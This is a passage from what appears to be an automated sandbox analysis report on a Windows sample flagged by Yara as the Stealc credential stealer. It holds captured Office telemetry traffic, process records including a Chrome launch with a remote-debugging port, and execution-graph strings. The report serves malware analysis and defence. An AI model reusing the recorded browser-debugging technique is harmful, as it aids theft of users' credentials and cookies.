2024-11-21 21:34:59 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:59 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:59 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4e23fa7b-901e-0048-7ba0-3bb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213459Z-15b8b599d88wk8w4hC1TEB14b800000000dg0000000061hy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:59 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:59 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:00 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:00 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: d9643c7c-a01e-0021-3e4f-3c814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213500Z-178bfbc474btrnf9hC1NYCb80g0000000280000000007n7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:35:00 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:00 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:00 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:00 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 627e99eb-a01e-0084-2049-3c9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213500Z-178bfbc474btrnf9hC1NYCb80g000000025000000000q32e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:35:00 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:01 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:01 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:01 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 44d6ee8b-901e-0064-7c7e-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213501Z-174c587ffdf8fcgwhC1TEBnn7000000000s0000000001g9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:35:01 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:01 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:02 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:01 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6d467d74-a01e-0050-5286-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213501Z-178bfbc474b7cbwqhC1NYC8z4n00000001w000000000xm82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:35:02 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:01 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:02 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:01 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: ca47fefa-001e-0014-1746-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213501Z-178bfbc474bpnd5vhC1NYC4vr4000000022000000000by2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:35:02 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:02 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:02 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:02 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: cd483c2e-401e-0048-1149-3c0409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213502Z-178bfbc474bgvl54hC1NYCsfuw00000002400000000017dd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:35:02 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:02 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:03 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:02 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 1ebeca68-b01e-0002-5b8c-3a1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213502Z-178bfbc474bbbqrhhC1NYCvw74000000029g00000000001k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:35:03 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:03 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:03 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:03 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: 854bda2d-801e-0035-4768-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213503Z-178bfbc474b9fdhphC1NYCac0n0000000220000000001smv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:35:03 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:35:03 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:35:04 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:35:04 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 8228d3dc-e01e-0020-0d9a-3bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213504Z-15b8b599d88tr2flhC1TEB5gk400000000kg00000000maps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:35:04 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Target ID:	0
Start time:	16:32:57
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x30000
File size:	515'712 bytes
MD5 hash:	926DD9E88E2AC846EAF3C23EF8208CDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1687554948.000000000362E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:32:57
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:32:58
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x30000
File size:	515'712 bytes
MD5 hash:	926DD9E88E2AC846EAF3C23EF8208CDF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:33:05
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:33:06
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,11729065314981487623,9119966847036491314,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	4.5%
Total number of Nodes:	1235
Total number of Limit Nodes:	22

Executed Functions

Function 0003CCA0 Relevance: 76.5, APIs: 2, Strings: 40, Instructions: 2989COMMON

Download Yara Rule

APIs

FreeConsole.KERNELBASE(?,00000000,?,?), ref: 0003D1C5

Strings

Bg, xrefs: 0003F1A6
b79u, xrefs: 0003D63A
c79u, xrefs: 0003D652
YvIL, xrefs: 0003D3DB
jiX, xrefs: 0003DDC2
%7|, xrefs: 0003D000
%7|, xrefs: 0003E559
jiX, xrefs: 0003DDAF
YvIL, xrefs: 00040118
Pky0, xrefs: 0003EFF5
Bg, xrefs: 0003D433
F- , xrefs: 0003DF9B
[, xrefs: 0003FE26
VW!:, xrefs: 0003DD81
WW!:, xrefs: 0003FFAD
~/yI, xrefs: 0003DAF9
F~d=, xrefs: 0003D4F1
jiX, xrefs: 0003D076
c79u, xrefs: 0003F3B4
G~d=, xrefs: 0003E70E
F- , xrefs: 0003EDE5
YvIL, xrefs: 0003D3ED
G~d=, xrefs: 0003E893
XvIL, xrefs: 0003CDC8
